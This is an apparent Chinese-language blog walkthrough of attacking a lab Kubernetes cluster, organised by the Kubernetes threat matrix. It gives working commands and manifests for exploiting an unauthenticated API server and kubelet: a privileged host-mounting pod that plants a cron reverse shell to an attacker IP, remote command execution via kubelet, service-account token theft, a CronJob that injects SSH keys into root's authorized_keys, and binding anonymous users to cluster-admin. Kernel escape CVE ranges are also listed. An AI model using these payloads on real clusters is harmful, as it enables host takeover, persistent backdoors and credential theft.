前言
文章主要根据kubernetes的威胁矩阵来进行书写,但是也会参考其他的资料。本文会结合之前在本地搭建的k8s集群进行讲解,具体搭建的文章可以参考前文。文章主要着笔点在初始访问,其他的如持久化,权限提升,凭据获取等可能会一笔带过或者只是提供一个标题供参考,因为写起来实在是又臭又长而且又和之前的手法大同小异。
master:192.168.65.204
node2:192.168.65.203
attack: 192.168.65.208
自动化工具:https://github.com/aquasecurity/kube-hunter
很舒服很方便
攻防矩阵
https://kubernetes-threat-matrix.redguard.ch/
初始访问
在矩阵中,获取初始访问的方式主要有:利用云,乙失陷的镜像,kubeconfig配置文件泄露,应用漏洞以及敏感接口暴露
kube-apiserver未授权访问
扫描master主机,会发现开启了6443端口,这是k8s-apiserver集群管理服务的默认端口,有时还会开放8080端口,但是这是非默认情况,一般也不会开启。6443端口提供的是使用tls加密的http服务。
当你访问:https://192.168.65.204:6443,返回如下界面时,基本可以确认存在未授权访问
利用
kubectl --insecure-skip-tls-verify -s https://192.168.65.204:6443 get nodes
执行上面命令,可以列出当前集群存在的节点
新建一个pod,并且挂载上宿主机的/mnt
kubectl --insecure-skip-tls-verify -s https://192.168.65.204:6443 create -f malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: malicious-pod
labels:
app: malicious
spec:
containers:
- name: malicious-container
image: ubuntu:latest
securityContext:
privileged: true
command: ["/bin/bash", "-c", "--"]
args:
- |
echo "* * * * * bash -c 'exec bash -i &>/dev/tcp/192.168.65.208/1337 <&1'" >> /etc/cron.d/;
service cron start; # 启动定时任务
tail -f /dev/null; # 保持容器运行
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
在攻击机中监听1337端口,成功反弹shell,并且已经挂载到宿主机
我直接一直尝试反弹shell,但是这个shell真的非常不稳定,所以我直接用kubectl执行命令进入pod里面了:
kubectl --insecure-skip-tls-verify -s https://192.168.65.204:6443 exec -it malicious-pod /bin/bash
写入计划任务成功逃逸到宿主机,也就是node2,这里之前一直写入的是/etc/crontab/,但是这个Ubuntu是没有这个目录,后面是写到/etc/cron.d/才成功反弹shell:
echo "* * * * * root bash -i >& /dev/tcp/192.168.65.208/91 0>&1" > /host/etc/cron.d/malicious_cron
kubelet 未授权
10250端口是kubelet与API Server进行通信的主要端口,通过该端口,kubelet可以知道自己当前应该处理的任务。默认情况下不接受匿名请求。
修改为以下内容再重启即可开启匿名访问
authentication:
anonymous:
enabled: true
webhook:
enabled: false
authorization:
mode: AlwaysAllow
[root@master kubelet]# sudo systemctl daemon-reload
[root@master kubelet]# sudo systemctl restart kubelet
利用
执行命令
curl -XPOST -k "https://<Kubelet-IP>:10250/run/<Namespace>/<Pod-Name>/<Container-Name>" -d 'cmd=id'
读取pod中的服务账户的Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
查看token的权限
其他
etcd未授权,2379端口
kubeconfig文件泄露,kubectl --kubeconfig=configFile get pods
k8s Dashboard未授权,8443端口
kubectl proxy泄露,8009端口
Docker Deamon未授权,2375端口
持久化
部署后门容器
在容器内植入后门
创建Shadow API Server
CronJob
apiVersion: batch/v1
kind: CronJob
metadata:
name: ssh-key-inject
spec:
schedule: "*/10 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: evil
image: ubuntu
command: [ "/bin/sh", "-c", "mkdir -p /host/root/.ssh && echo 'ssh-rsa AAAAB3NzaC1y...CUkwfwh+iSTP' >> /host/root/.ssh/authorized_keys" ]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
restartPolicy: Never
权限提升
Cluster-admin Binding/RBAC权限滥用
Cluster-admin
是 Kubernetes 中一个内置的高权限角色,属于 ClusterRole
类型,具有集群范围内的全部操作权限(包括所有命名空间)。基于 Role-Based Access Control (RBAC) 的权限控制系统,Kubernetes 通过绑定(RoleBinding
或 ClusterRoleBinding
)来将角色权限授予某个用户、组或服务账户。攻击者如果获得了在集群中创建绑定(RoleBinding
或 ClusterRoleBinding
)的权限,可以将任意身份(如服务账户)绑定到 Cluster-admin
角色,从而获得对整个集群的全面控制。
创建恶意账户
apiVersion: v1
kind: ServiceAccount
metadata:
name: evil-admin
namespace: default
创建高权限绑定
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: evil-admin-binding
namespace: default
subjects:
- kind: ServiceAccount
name: evil-admin
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
比较损的是直接将匿名用户绑定到cluster-admin角色上
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
特权容器
有写过
不安全的目录挂载
在博客的其他文章中有写过
其他
docker低版本逃逸漏洞
利用Linux内核漏洞逃逸,脏牛:2.6.22《内核版本《4.8.3;cve-2020-14386:4.6-5.9;cve-2022-0847:小于5.16.11且不等于5.15.25和5.10.102
k8s漏洞:cve-2021-25741
凭据窃取
kubeconfig凭证或集群secret
文件位于$HOME/.kube/config
查看k8s保存的凭证
kubectl get secrets --all-name-spaces
利用k8s准入控制器窃取信息
横向移动
污点Taint横向渗透
小结
从目前的情况下来看,k8s的初始访问主要来源于未授权或者配置文件的泄露,目前似乎还没有其他的类似ZeroLogon的攻击方式出现。